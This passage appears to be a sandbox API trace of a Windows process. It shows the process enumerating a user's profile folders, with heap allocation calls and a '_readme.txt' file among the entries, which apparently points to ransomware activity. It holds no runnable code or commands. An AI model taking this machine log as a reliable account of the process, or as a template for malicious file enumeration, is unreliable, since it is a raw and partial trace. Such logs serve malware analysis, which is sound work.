dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.401] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119660 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119660 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.401] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e0f0 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5fb0 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119660 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31196b8 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6018 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f60e8 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5cd8 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31195b0 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ffd28 | out: hHeap=0x670000) returned 1 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.402] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31195b0 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0059.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0059.403] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x214) returned 0x30d39c8 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119768 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31197c0 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119818 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119870 [0059.403] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5cd8 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31198c8 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6150 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119920 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119978 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5fb0 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119660 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119500 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6018 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f60e8 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31195b0 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306e0f0 | out: hHeap=0x670000) returned 1 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.404] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31195b0 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f60e8 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f60e8 | out: hHeap=0x670000) returned 1 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31196b8 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.405] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f60e8 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x310) returned 0x310a580 [0059.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6018 [0059.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119660 [0059.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5fb0 [0059.406] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0059.406] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0059.406] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.406] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.406] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd110 | out: hHeap=0x670000) returned 1 [0059.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0059.406] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.406] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.406] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.406] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.406] 